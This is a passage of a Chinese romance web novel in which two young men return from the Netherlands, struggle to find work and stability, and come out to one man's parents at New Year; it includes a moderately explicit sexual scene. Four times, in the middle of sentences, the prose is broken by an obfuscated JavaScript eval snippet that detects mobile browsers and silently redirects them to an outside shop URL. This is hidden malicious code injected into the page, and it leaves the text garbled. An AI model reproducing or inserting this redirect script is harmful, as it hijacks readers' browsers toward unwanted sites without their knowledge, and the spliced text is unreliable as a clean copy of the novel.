慕华年笑了笑,从莱用胳膊碰碰他,“那你呢,还会回荷兰吗?” “不知道,可能会陪他回来看张叔。” “我希望你们长长久久。” 慕华年道了谢。从莱起身时递来一张名片,“刚才是私人号,这个是我的工作室。如果回来了,记得找我。” 后来那张名片不知收哪儿去了,但上面的地址,慕华年一直记得。 七月中旬,慕华年提交了论文终稿,然后就是答辩、合影、领证书。 只是毕业典礼那天,慕华年和庄迭起晚了,两人匆匆忙忙开车过来,看到李家杰在草坪上招手。 “从此君王不早朝?”李家杰打趣他。 慕华年笑着别过脸,庄迭倒是很自然,“你不是也有女朋友吗,她不来?” “人家忙着实习,晚上出去庆祝。” “你呢,留下了?”慕华年问。庄迭侧头看了他一眼。 “差不多,先待一年,等她毕业再说。” 李家杰靠着哥哥的关系在荷兰找了个快时尚品牌的法务岗,对方看中了李家在香港的资源。他与其说是去工作,不如说是去谈合作。 “恭喜。” 在慕华年的欲言又止中,庄迭看到了那个问题的答案——他果然还是做不到。 七月底,荷兰的天气热起来了。庄迭在写论文的间隙和路远舟敲定了发布会的细节。 公司选址在TUD旁边,等运转起来再搬实验室。这也是路远舟延毕的原因。 “叫什么名字?” 慕华年看着那块被盖住的牌子。他们离开那天就是揭牌的日子,这是庄迭特意选的。 那天,慕华年从路远舟的话里听出了庄迭的处境,真真切切地感受到他过去十八年的小心翼翼。 他像一颗努力隐藏光芒的夜明珠,明明在黑暗中发光已经很不容易了,却还要费尽心思让自己看起来黯淡无光。 “MobileLine。” 其实遇到慕华年后,庄迭心里有另一个名字。但因为之前沟通投资和登记的原因,最后还是沿用了这个名字。 庄迭走过去看了看他一砖一瓦建起来的公司。从电脑配置到机器测试,从空调安装到咖啡机品牌,每件事他都亲力亲为,但这里不能有他的名字。 “走吧。” 在荷兰的最后一天,庄迭回到了TUD。 阶梯教室里,庄迭拿着证书和教授合影,慕华年是摄影师。 没有隆重的毕业典礼,简单的颁证仪式像一次普通的结课。 教授嘱咐了庄迭两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111633|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句。可能是因为从本科就带着他,语气里满是不舍。 “Ash,你要和男朋友回中国了吗?” 教授用的是荷兰语,慕华年听了个大概。他看着庄迭点头回答:“对。” 教授笑着摇摇头,凑近他耳边说了句只有他们能听见的话。 庄迭点头,“会的。” 仪式结束,慕华年把准备好的花从教室后面抱过来。教授走过时拍了拍他的肩膀,慕华年微微欠身。 “你们说什么了?”慕华年问。 “Liefdeisduurder.” 庄迭故意说了句荷兰语。慕华年转头看他,见他神秘地翘起嘴角,“不是学习能力强吗?等你学会荷兰语就明白了。” 慕华年还真学过一阵,但庄迭这句话他就是没听懂。 “离起飞还有四个小时,陪我去个地方?” 庄迭把花放在后座,又忍不住取了一支放在前面。慕华年看着他的动作轻轻笑了。 他没问庄迭要去哪,他只想跟着庄迭去任何他想去的地方。 那是一片风车。 这是慕华年来荷兰后第一次见到风车。 “我家那边也有风车,”望着眼前绿色的田野和古老的建筑,慕华年忽然说。 “不过和这里的不一样。”他顿了顿,仿佛在思索记忆里的画面,“我们那的是用来发电的,白色的,很高,一片片立在荒漠。不漂亮,但实用。” 庄迭笑了,语气半是玩笑半是认真,“那我能和你回家看看吗?” 话音落下,空气有瞬间的凝滞。 慕华年没有立刻回答。他依旧看着风车,目光却好像飘去了更远的地方。 这不是庄迭第一次问了。 见他不答,庄迭眼里有什么轻轻晃动了一下,像是被阳光刺痛。他转过身,“走吧,去机场。” 庄迭的失望,慕华年看到了。他知道他很想要一个家。 那天的风很柔和,带着送别时的依依不舍。机场站着的年轻人个个泪眼朦胧。苏郡清话说到一半缩进颜桥怀里,颜桥低头时也吸了吸鼻子。 “搞这么伤感干嘛,我是回国,又不是不回来了。”庄迭揉了揉苏郡清的头发,小姑娘躲着不看他,“真不理我了?我还想请你帮我浇花呢。” “好的,我会去的。你过年能回来吗?来我家,我妈做饭。” 苏郡清的声音闷在颜桥胸口。庄迭笑了一声,说:“杨阿姨做饭?那我考虑考虑。” “庄迭,”一直沉默的路远舟开口,他看了一眼慕华年,又把视线转回庄迭身上,“我们在这呢,记得啊。” 庄迭今天本来不想哭的,可路远舟太了解他了。 这个人越是难受,就越爱笑。 “公司交给你了,三年能上市吗?” 庄迭抿了抿嘴,下意识别过头,然后他听见路远舟斩钉截铁地说:“能。” “我们四年的心血不会白费。我们想要的,一定能得到。” 那一天,他们离开了荷兰,坐上了前往江城的飞机。这一切,成了后来所有故事的序幕。 38. 第 38 章 “我回来啦!” 庄迭拎着刚从超市买的虾和鸡蛋,看见慕华年正坐在书桌前发呆,说:“我饿了。” “好,我做饭。”慕华年默默接过塑料袋走进厨房。 庄迭瞥见他电脑屏幕上全都是已读未回的邮件。 回来后慕华年陆续也接到过几个面试机会,最后的结果却都石沉大海。 原本以为江城机会多,所以他们才回了这儿,结果市中心房租太贵。为了让慕华年多睡会儿,庄迭用比赛奖金付了半年房租。 这套老房子只有四十平,好在带独立厨卫,能省下外出吃饭的钱。 不一会儿厨房里飘出油烟味。上世纪的老房子,通风系统没比慕华年在荷兰租的好多少。 庄迭坐在沙发上看他。和在荷兰时不同,那时的昏黄里他看到了温暖,此时厨房那盏灯照在慕华年身上,只有破败。 “好了。” 慕华年端着碗出来,熟练地打开厨房门和客厅窗户——这是每天做饭的固定流程。 “要不试试其他城市?不一定非要在江城。” 慕华年点点头,没说话。庄迭给他夹了只虾。 回国后,慕华年做虾都不再用葱姜水泡了,只在炒的时候倒一点料酒。 “等会儿去江边散步吧。” “好。” 这六个月来,慕华年都是这个状态。一开始他会困惑,后来有一丝烦躁,再后来心气慢慢被磨平了,只剩下麻木。 慕华年没告诉庄迭,他其实连新疆的公司都投了,依然杳无音信。 也许自己真的很差。他夹了三次都没夹起那只虾,筷子总在最后关头打滑。 庄迭就静静看着他。 “庄迭。”慕华年突然开口。他放弃和那颗虾斗争,把筷子放在碗边,却不敢抬头看眼前的人。 “你让我再试试,好不好?”说完就起身进了卫生间,很久没出来。 庄迭吃完饭后,帮他把菜重新热了一遍。 “我能进来吗?” 里面没有回应。 庄迭推门进去,看见慕华年赤身站在花洒下。老旧的淋浴头不时喷出冷热交替的水,他就这么一动不动地站着。 “你怎么用凉水?” 水花溅到庄迭小腿上。他皱眉关掉水,胳膊擦过慕华年时,对方才如梦初醒。 “抱歉,下次不会了。” 慕华年越过庄迭去拿浴巾,庄迭抢先一步把浴巾抱在怀里,张开双臂,说:“进来。” 慕华年乖乖走过去,任由庄迭用浴巾裹住他,目光始终盯着地砖上那道裂缝。 他像个没有生气的娃娃,发梢的水滴进庄迭衣领,很凉。 “慕华年,你给自己点时间慢慢来,不急。” 庄迭的声音在空气中回荡。慕华年下意识点头,“好。” 好像无论庄迭说什么,他都会说“好”。 “其实,你不工作也行。” 这次没有回应。 庄迭感觉到慕华年在抖,很细小的颤动,他将这归咎于刚才的冷水澡。 一月江城没有暖气,白天慕华年在家也不开空调,他好像在故意和自己作对。 庄迭带他走出卫生间,把空调开到28度。浴巾湿了,他又拿了条新的给慕华年擦头发。 他们不是没钱。慕孝文每月给慕华年转三千,庄迭账户上还有张宪留的钱。但庄迭没提换大房子的事,而慕华年自始至终对住在哪,吃什么,没有任何意见。 “庄迭,”慕华年嗓子发涩,“我不知道自己在干什么。我不知道我过去二十三年在干什么。” “你已经很努力了,只是……” 庄迭不知道该怎么安慰,因为他同样困惑。 慕华年从最初的期望薪资一万,降到现在的五千,依然没用。他的所有行为就像是鬼打墙一样。 整个世界都在告诉他:你很差劲。 可他的学历、实习经历、比赛成绩,就算不是顶尖,也不该沦落至此。 在无数次没有回音的试探后,慕华年逐渐消磨掉了好不容易长出来的体温。他甚至不知道该怪谁。 他谁也怪不了,只能怪自己。 “庄迭,”慕华年抓住庄迭擦头发的手,话到嘴边又咽了回去,“没事,早点休息吧。你明天是不是要开会?我早上去图书馆。” “慕华年,”庄迭反握住他的手,裸露着的皮肤即使在空调下依然冰凉,“别这么逼自己,你不欠我的。” 慕华年目光一暗,说:“嗯,知道了。” 庄迭顿了顿,“后天过年,你先回家吧,票买好了。” 慕华年猛地抬头。 “回家好好过年,什么都别想。明年继续投简历,或者找点喜欢的事做。写作?画画?摄影?” “我没什么喜欢的。” 庄迭点头,想起他确实这么说过。 “那就在家看看书,你不是喜欢看书吗?”庄迭靠进沙发,侧头对他笑笑,“明年换房子时找个离图书馆近的。我开完会下午陪你看书。” 庄迭的话点到为止,没有再继续这个话题。这事他考虑很久,他觉得他们需要一个稳定的住处,或许这样能让慕华年少一点对于漂泊的恐惧。 但他也知道慕华年在顾虑什么——市中心房价一平十几万,对他们不是小数目。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111634|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不说这个了,去收拾行李吧,”庄迭笑着起身,“需要男朋友帮忙吗?” 见慕华年没反应,他拍拍对方脑袋,进卧室拿出行李箱。 “肃城很冷的话,这些衣服是不是不太行?我们等会去买几件还是你回家再买?洗漱用品家里有吗?我看网上说很久不回家的小孩,再回去像个客人。” 庄迭笑了一声,“不过阿姨那么细心,应该不会。哦对,你先跟他们说一声。” 慕华年呆呆坐在客厅。从被冷水浇透那一刻起,他就一直放空。只记得庄迭抱了他,手心很暖,语气温柔。但具体说了什么,大多没听清。 他坐回书桌前继续投简历。 按理说年前是辞职高峰,可这波潮水并没有漫过慕华年。他像西北的枯柳,等不来任何甘霖。 那晚慕华年在书桌前坐到十二点。庄迭起夜时看见他还在那儿,走过去打了个响指。慕华年点点头,合上电脑进了卧室。 黑暗中,庄迭感到腰间的胳膊越收越紧,身后呼吸越来越重。他像是在压抑着什么,可庄迭知道自己问不出来。 那年春节来得早,一月是江城最冷的时候。庄迭拎着箱子下楼时,叫的车已经停在小区门口。 “我就不去了,等会儿和远舟通个电话。” 慕华年点点头,接过箱子上车。 庄迭目送出租车消失,跺跺冻僵的脚,转身走向早市。 “今天来这么早?”菜场阿姨打招呼。 庄迭笑着点头。他常来这个菜场,很多摊主都认识他——或许因为他总把零头凑整,又或许因为他长得帅,毕竟人都是视觉动物。 “年轻人怎么过年不回家,还自己做着吃?” “工作忙。” 庄迭挑了两根茄子,拿了一把油菜递给阿姨。虽然厨艺没长进,但他已经能熟练识别各种蔬菜,并且快速判断好坏。 “再给你加把香菜。”阿姨看了眼秤。庄迭总多给钱,她不好总占便宜。 “好。”庄迭拒绝的话在嘴边转了一圈,最后笑着和阿姨道谢。 庄迭买了一周的菜,又去楼下便利店搬了箱啤酒。他打算这样一周不出门,然后慕华年就回来了。 其实他买票时犹豫过要不要回荷兰过年,但想了想还是作罢。毕竟大家过年的时候都是和家人,他去谁家都尴尬。 抱着酒箱爬上老旧的楼梯,到四楼时被什么绊了一下。酒箱挡住视线,庄迭侧头一看,是个毛茸茸的脑袋。 “怎么回来了?” 慕华年抬起头,眼睛颤了颤,说:“对不起,我最近状态不好。” “庄迭,你想不想吃周老师包的饺子?” 39. 第 39 章 西北真的太冷了。 不过这里的雪也真的很美。 飞机刚在停机坪停稳,庄迭就开始发抖。可能是冻的,也可能是别的什么原因。他把脸贴在舷窗上,一眼望去白雪将荒原的本色掩盖。 走出廊桥,慕华年很自然地接过庄迭的行李——他们只带了一个行李箱,就是庄迭帮慕华年收拾的那个。然后慕华年伸手搂住了他的肩膀。 路过的人都朝他们看,但慕华年毫不在意。 庄迭侧头看了慕华年一眼,他依旧抿着唇,眼神里依旧晦暗无光,但搂着庄迭的手臂格外用力。 如果说第一次问出“我能跟你回家吗”,是庄迭在失去张宪后的下意识反应,那在荷兰的最后一天,他经过深思熟虑,却依旧问出来了。 他承认,他真的太想要一个家了。 可真正站在这西北的风雪里时,他怕了。 慕华年的家庭很幸福,父母都是体制内,一个老师,一个公务员,两个人除了旅游外一辈子没离开过肃城。 刚才那些目光庄迭都感受到了——那是一种疑惑与诧异的中间态。或许他们知道什么是同性恋,却从未真正见过这样的人如何生活。 异类,总是会在人群中成为众矢之的。 坐上出租车,庄迭时不时侧头看慕华年一眼,而身边的人一直盯着窗外飞逝的雪景。过了一会儿,一只冰凉的手贴过来,庄迭立刻握住,把它藏进自己的口袋。 车停在慕华年家小区外,庄迭抬头看了看,春藤家园。 “我们要不要买点东西?” 庄迭觉得自己被慕华年传染了,直到看见旁边超市外堆着的牛奶和零食礼盒,才想起自己是来见慕华年父母的,却两手空空。 “不用,我妈都置办好了。” 慕华年侧身从人脸识别闸机穿过,伸手为庄迭拦着门。 “叮咚——” 站在门口的两个人听着对门“人脸识别失败”的提示音,过了好一会儿,屋里传来声音,“是不是门铃响了?” “不能吧,小年不是留在江城过年吗?” 庄迭又一次看向慕华年。 “忘了。” 慕华年家用的是传统门锁,而他把钥匙落在江城了。他又按了一次门铃,这次屋里的老两口听清楚了,拖鞋声由远及近。 “欸,怎么今天回来了?”周韵惊喜地看着慕华年。 慕华年笑了笑,“妈。” 门被一点点推开,周韵看见了站在一旁的庄迭。 “这位是?” “阿姨好,我叫庄迭,是慕华年的朋友。” 朋友。 慕华年转头看庄迭,但对方避开了他的目光,微笑着向周韵和屋里的慕孝文鞠了一躬。 “方便吗?”庄迭小心翼翼地问。 周韵愣了一下,立刻笑着把人拉进屋,“方便方便,我们就一家三口,人多过年热闹。” 慕华年看着庄迭的背影,而慕孝文看着他。 “回来了。”慕孝文说,他接过了慕华年手中的行李。 “嗯。” “去年没回来,今年能住多久?” “一周。” 晚上周韵真的包了饺子。起初庄迭坐在沙发上,后来觉得不合适,就轻手轻脚走到厨房问:“阿姨,需要帮忙吗?” “你会包饺子吗?”周韵手上沾着面粉,笑着看庄迭。 “不会,但能学,”庄迭说着就挽袖子,周韵连忙叫慕华年,“哪能让客人帮忙,快,你们三个玩牌去。” 慕华年本来在浇花,听到周韵的话,水壶里的水洒了一些在地上。 “怎么,你也成客人了?”慕孝文打趣着,转身去拿拖把。 周韵见慕华年半天不过来,又喊了一声他的名字。 “他想帮就让他帮吧,他爱玩。”慕华年走到厨房门口,看着庄迭解衬衫袖口,下意识想帮忙,却被庄迭躲开了。 “他说得对,阿姨您让我试试吧。”庄迭若无其事地从慕华年面前走过,周韵给了他一个饺子皮。他学得有模有样,包出来的饺子还真不错。 “很有天赋啊,”周韵拿起擀面杖,“那我擀皮你包,春晚之前就能吃上。” “好。” 客厅里的慕孝文探头看了眼厨房里的三个人,叫慕华年过去。 “去年就和这个小伙子过的年?” 慕华年点头。 “也是给他做的饭?” “嗯。”慕华年没想过隐瞒。 他不是忘了回家前给周韵打电话,是故意没打。他就是要直接把人带到他们面前。 他不需要他们的理解,他们大多时候都理解不了他。 先斩后奏,是慕华年过去二十三年总结出的经验。 “慕华年,”慕孝文点了根烟,慕华年皱着眉头退了一步,“你确定吗?” “嗯。” “你在国外都学了些什么?”慕孝文骂了一句,慕华年依旧站在原地不动。 “工作找到了吗?” 慕华年眉头皱得更深,“没有,还在找。” “就说过不让你学法律。当初要是听我的去学自动化,现在早在电网安稳上班了。” 慕华年沉默地听着。从他高考报志愿,到放弃保研,再到庄迭——慕孝文的每一句话都不重,却像屋檐一滴一滴下落的溶水,一点点侵蚀着他。 “要是还找不到工作呢?你们怎么活?”慕孝文抽完一根烟,慕华年还是什么话都说不出来。 在慕孝文刚才的话里,他前二十三年的所有选择都是错的。这其中是否包括他和庄迭,不言自明。 慕华年固执地站在那里。他无法反驳,因为事实就是他找不到工作,没有底气承诺什么,更给不了庄迭一个家。 “实在不行就回来考公务员。当初我也是觉得法学好歹能进体制才同意的。”慕孝文说。 慕华年听到厨房里,周韵终于问到了庄迭的父母。那个自称来自江城、有家公司、是工科硕士的人,沉默了很久。 “您觉得肃城,适合我们吗?”慕华年抬起头,“我能忍受,可他凭什么忍受?” “那你怎么不想想我们能不能忍受?”慕孝文瞪了他一眼,坐回沙发,把电视音量调大,刚好盖住厨房里的对话。 “爸,”慕华年仍站在原地,“我真的很喜欢他。” 慕孝文又瞪了他一眼,烟灰缸重重放在茶几上,声响被电视新闻掩盖。 “你知道什么是喜欢吗?恋爱都没谈过。”慕华年没有告诉父母自己大四那段失败的恋爱,慕孝文的话在这里顿了顿,“所以你是因为喜欢男的,才没谈过恋爱?” 慕华年没有辩解,因为他觉得自己不会再喜欢任何人,无关性别。 “对不起,我让你们失望了。” 见慕华年低头了,慕孝文肩膀放松了些,问:“哪儿的人?干什么的?家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111635|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里什么情况?” 慕华年复述了一遍庄迭在厨房里的话,同样在父母这个话题上停住了。 “他妈妈去世了,爸爸不管他。” 慕孝文眉眼松动了一下,侧身看了眼厨房里和周韵说笑的庄迭。这孩子看起来不错,怎么就…… “药还在吃吗?” “嗯。” 慕孝文结束了这个话题。 “那你妈那边你打算怎么说?” “我不知道。” “什么都不知道,什么都做不好,偏偏这件事你就这么有主意。” 慕孝文的抱怨声很轻,但慕华年听得清清楚楚。 “对不起。”慕华年这辈子做得最多的就是低头,然后道歉。 “所以你根本不是来征求我们同意的,就像当年放弃保研一样,只是通知我们一声,是吗?” “对。” “你真行。医生说我们控制你?这要是叫控制……” 慕孝文还在继续说,慕华年一句也没听进去了。 话说完到这个份上,够了,其他的随便吧。 “吃饭了!”厨房里周韵喊了一声,慕孝文直接从慕华年身边擦身而过,没再看他。 “别说,小庄手真巧,这饺子包得比我还好。” 慕华年看到庄迭低头笑了笑,坐到了斜对面——整个餐桌上离他最远的位置。 “庄迭。”慕华年突然开口,“过来。” 他把旁边的椅子拉开。周韵皱着眉看了他一眼,瞧着慕孝文朝她摇头。 “妈,对不起。” 庄迭在桌下死死按住慕华年的手,但身边的人直接把十指相扣的手举在空中,“庄迭是我男朋友。” “不是朋友,是爱人。” 屋里只剩下电视的声音。小小的屏幕上,四个主持人轮流祝贺全国人民新春快乐。 窗外,有小孩点了炮,“啪”地一声炸开。 “先吃饭。”周韵坐在两人对面,慕华年能看到妈妈的手在抖。 那一刻他没有后悔,只有心疼。 为什么周韵女士的儿子,会是这样一个糟糕的人。 “庄迭,”慕华年的声音让三个人都震了一下,“你后悔吗?” “这是我能给你的全部了。” “够多了。” 庄迭声音发颤,一滴泪落进面前的醋碗里。他夹起一个饺子,在醋里蘸了蘸,放进慕华年的碗里。 “叔叔阿姨对不起,是我先追他的。” “庄迭。” 那颗饺子在齿间慢慢被碾碎,留在舌面的是那不可见闻的咸。 庄迭抬手抹了一把脸,继续说:“我家庭关系比较复杂,一时半会儿说不清,确实不算什么好家庭。但我保证不会影响到慕华年。” “我现在在创业,可能不算稳定,但我有点积蓄,够我们俩生活的。慕华年好养活。”说到这庄迭笑了笑,继续道,“我们在中国结不了婚,但我有荷兰身份。如果他愿意,我们可以在荷兰领证。不愿意也没关系,我记得我爱他就行。” “就是孩子……” “庄迭。” 庄迭有些无措,他拦住了慕华年,咬着唇,说:“对不起。” “庄迭。”慕华年转头看他,“你给我的也够多了。” 对面的老两口一直沉默着,直到周韵给庄迭夹了个饺子。 “先吃饭吧,等会儿还要出去看烟花。” 40. 第 40 章 周韵和慕孝文就这样接受了他。 漫天烟花下,庄迭感觉到慕华年的手搭在自己肩上。周韵看了一眼,朝他笑了笑。 这一切都不可思议。 表白的时候庄迭有多欢喜,现在他就有多内疚。 他觉得自己罪无可恕。 “庄迭,”慕华年的声音沉在烟花的爆裂声中,“我能给你的不多,但我有的都给你。” “庄迭,你接着就行,我什么也不要。” 慕华年睫毛下的瞳孔映着五颜六色的烟花,这两句话轻得像自言自语,可庄迭都听见了。他什么也没说。 那天的烟花真的很美,庄迭一直盯着那转瞬即逝的花火,直到最后流了泪。 “小庄,”回家的路上,慕华年开车,庄迭和周韵坐在后排。周韵突然开口,“你可以叫我妈妈。” 庄迭整个人僵住了,他盯着周韵看了很久,嘴唇颤抖着发不出声音。 “让我们小年喜欢上什么东西很难,我知道他喜欢你就很难再改变了。” 慕华年从后视镜里看了周韵一眼,握着方向盘的手微微收紧。 “阿姨,我也很喜欢很喜欢他。” 周韵笑了笑不再说话,转头看向窗外。副驾驶上的慕孝文始终一言不发。 “妈。” “嗯。” 庄迭说完就转过头,下意识把脸上的潮湿蹭在慕华年给他的围巾上。 他们回到家时春晚还没结束。慕孝文罕见地从书房拿出一瓶好酒,慕华年看了他一眼,慕孝文笑着耸了耸肩。 “下午吃饺子没就酒,总觉得差点意思,”慕孝文把酒起开,拿出两个小酒杯,“小庄你喝酒吗?” “喝。”庄迭何止是喝,这世界上基本没有他没喝过的酒了。他走到沙发边坐下,“叔叔想喝?那我陪您少喝一点。” “庄迭。” 这不知是慕华年今晚第几次叫他的名字。庄迭从他眼中看到了制止。 自从发现庄迭酒精过敏后,慕华年给他的都是掺了很多辅料的酒味饮料,或者直接给气泡水。 只是庄迭从未点破,慕华年给他什么他就喝什么。 “慕华年,你自己不喝,还不让人家小庄喝?” “他……” “没事,能喝。” 庄迭直接伸手捂住慕华年的嘴,拿过酒瓶倒了一小杯。高度白酒比那些调制的酒刺激多了,舌尖碰到液体时他微微皱眉。 “不错啊。” 慕孝文的情况其实比庄迭好不了多少,他解酒功能不好,两杯下肚脸就红了。周韵洗完澡出来,看见沙发上两个红脸关公,而慕华年在一旁拿着一瓶可乐。 “你也不拦着点?”周韵说。她不喜欢慕孝文喝酒,但管不住他,慕华年当然更管不住。 慕华年帮周韵把慕孝文扶回卧室,去厨房倒了杯温水放在床头。出来时看见周韵站在庄迭旁边。 “他怎么办?” “我照顾他。” “我是说睡哪?”这个家没有第三间卧室。 “我房间。” 周韵话在嘴边又咽了回去,她看着慕华年拉着庄迭的胳膊,只一下就将人背到背上,动作可谓熟练。 “妈你去睡吧,他喝醉了不闹人。” “有事叫我。” “嗯。” 这个家的两间卧室分别在南北两端。周韵回了卧室,关上门。 慕华年背着庄迭走进自己朝北的小卧室。冬天这里有点阴,不过地暖烧起来倒是不冷。 “慕华年,”背上的庄迭摸了摸他的下巴,“你亲亲我好不好?” “好。” 庄迭被放到床上的同时,慕华年欺身而上。密密麻麻的吻落在粉白色的心口,庄迭将手指插进他的发间。 酒喝多了总还是不好受。 “我乖不乖?” “乖。”慕华年的脸贴着微凉的身体,听着那颗心扑通,扑通。 “叔叔阿姨喜欢我,对吗?” “对。” 庄迭笑了一声,没用什么力气就把慕华年压在了身下。 “慕华年,我真的好喜欢好喜欢你。” 趁着慕华年没反应过来,庄迭跪在床边,含了下去。 喝了酒的庄迭像是释放了内心最脆弱的感情和最本能的反应。他用行李箱抵住门,双手紧紧抓着慕华年的小腿,然后慢慢向上。 “都给我,好不好?” 慕华年张不了口。喉咙里堵着的音调和灼热的呼吸混作一谈,他伸手扯着床单,手指越收越紧,直到指尖发白。 “我乖不乖?” 这次慕华年没有回应。 “呜……”接着是小心翼翼的喘息。慕华年甚至不敢起身看他。 这是他这辈子最漫长的十分钟,又或者更久。慕华年分辨不了时间的流逝,甚至不知道自己做的是对是错。 “你要多喜欢我一点。” 动作停下了。庄迭口齿不清,因为他嘴里满是慕华年的味道。 “去卫生间。” 庄迭不动,慕华年就跪在他旁边,捏住他的下颌,让他把东西吐在自己手上。 “慕华年,”卧室门打开时,庄迭靠在床边叫他,声音如同即将熄灭的火柴,“谢谢你没有拦我。” 慕华年再回来的时候,小猫缩成了一团。他咬着慕华年的被角,双手抱紧自己,眉间的褶皱是从未有过的深。 “庄迭,松口。” 庄迭这次松开了。他微微睁眼,酒精还在脑袋里发酵。他笑着叫慕华年的名字,除此之外再也说不出话。 那天夜里,慕华年抱着庄迭说了一遍又一遍对不起。 这个年,就这么过了。 “妈,叔叔,下次来一定给你们带礼物。” 短暂的停留后,机场里满是四散的候鸟。 庄迭笑得很甜,露出虎牙,手里提着周韵做的麻花和油饼。 “你也不别扭。”慕孝文笑了一声。庄迭反应过来,看着他叫了一声“爸”。 “行了,你们好好的。”慕孝文不会说什么肉麻的话。他过去拍了拍庄迭的肩膀,凑近低声说:“以后别喝了,我们俩这酒量简直闹笑话。” “好。” 庄迭低头笑了笑,看见慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111636|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华年办完登机手续走过来,自然地接过他手里的东西。 “爸妈,走了。” 慕华年抱了抱周韵,朝慕孝文微微点头。 肃城距离江城两千六百多公里。这条航线慕华年大学时坐了四年,这是他第一次买直达票。 三个半小时的飞行,庄迭一直靠在他肩上睡觉。 慕华年知道他很累,可能比准备毕业论文的时候还要累。 飞机落地的瞬间,慕华年的手机恢复信号,邮箱弹出一条讯息: “尊敬的慕华年,您好!我们很高兴地通知您,经过面试评估和讨论,我们诚挚邀请您加入寰方科技公司。” “庄迭,我找到工作了。” 从那天起,做早餐的人换成了庄迭。一开始他不熟练,粥会粘锅,面包会烤糊,但不管做成什么样,慕华年都会吃得一干二净。 庄迭还准备了一个餐盒。如果慕华年中午在公司开会,就给他带简餐用微波炉加热;如果能回家吃午饭,那个玻璃碗就装满各种水果。 他们回去后旧房子也到期了。庄迭花了三个下午,看了七个楼盘,最后选了离慕华年公司最近的那个。 房子是二手房,小区不算太老。原来的房东举家去了新加坡,庄迭算是捡了便宜,可那也花光了张宪给他的一千万。 去房管局过户时,庄迭在房产证上加了慕华年的名字,但没有告诉他。 “喏,钥匙。” 钥匙上挂着一个汽车模型挂件。慕华年接过去时,用食指轻轻摩挲着那个小东西。 “我们公司的新车模型,我让远舟给寄了一个。” 他们在肃城那几天,MobileLine召开了第一场发布会。 “近日,MobileLine发布的全新城市电动轿跑‘风’在市场引发热烈反响……” “据悉,自发布以来,‘风’线上预订系统因访问量激增而数次扩容……” “该车的热销印证了市场对兼具美学、实用性与情感共鸣的都市座驾存在巨大需求……” 庄迭和慕华年在手机上看完了整场发布会。整个过程中,没有出现庄迭的名字,屏幕上只有路远舟略显生疏的表现。 “这事儿只有能他做。” 庄迭笑着靠向慕华年,但他放在慕华年手心里的手冷得刺骨。 “可惜吗?”慕华年问。 庄迭沉默地看着发布会结束后嘈杂的现场。画面切换的瞬间,他轻声说:“这是最好的办法。” 如果庄迭出现在那里,新生的MobileLine就会成为庄氏的靶子。他很清楚这一点,所以这次回国不全是为了慕华年。 他要让庄氏姐弟掉以轻心,让他以为自己是个恋爱脑,让他觉得自己毫无威胁。 他这么做也不为别的,他只想过正常人的生活。 庄迭沉静片刻,又笑了笑:“不过确实有点可惜。” “什么?” “MobileLine还没拿到进口许可,我不能送你一辆。” 那个小小的汽车挂件,后来被慕华年摸得有些褪色,于是他把它收在了枕头下面。 41. 第 41 章 一切看似步入正轨,但命运的列车总会如期而至,如四季更迭,从不缺席。 慕华年入职寰方的第二个月,公司启动对恒远科技园的收购,他被分到项目组,开始了没日没夜的法律尽职调查。 从恒远成立时的合同到所有知识产权,从资产核实到诉讼记录,他每天挤地铁往返于江城郊区和市中心。公文包越来越沉,家里的文件越堆越高,他睡得越来越晚。 庄迭因为要跨时区和路远舟开会,基本过着荷兰时间。等他要睡觉的时候,慕华年往往还没回家。 他们明明没有异地,见面的时间却少得可怜。 有时慕华年深夜回来,身上带着酒气。他自己也闻不惯,于是养成了一回家就先洗澡的习惯。 那段时间庄迭睡眠很浅,好几次听到浴室的水声响到半夜,仿佛慕华年要把自己从里到外洗个彻底才肯上床。 背后的胸膛是温热的,呼吸带着薄荷牙膏的清香,但庄迭看得到慕华年口袋里的解酒药消耗得飞快,他能吃下的东西也越来越少。 慕华年在极力掩饰自己的不适,因为这份工作来之不易,也因为他觉得欠庄迭的越来越多。 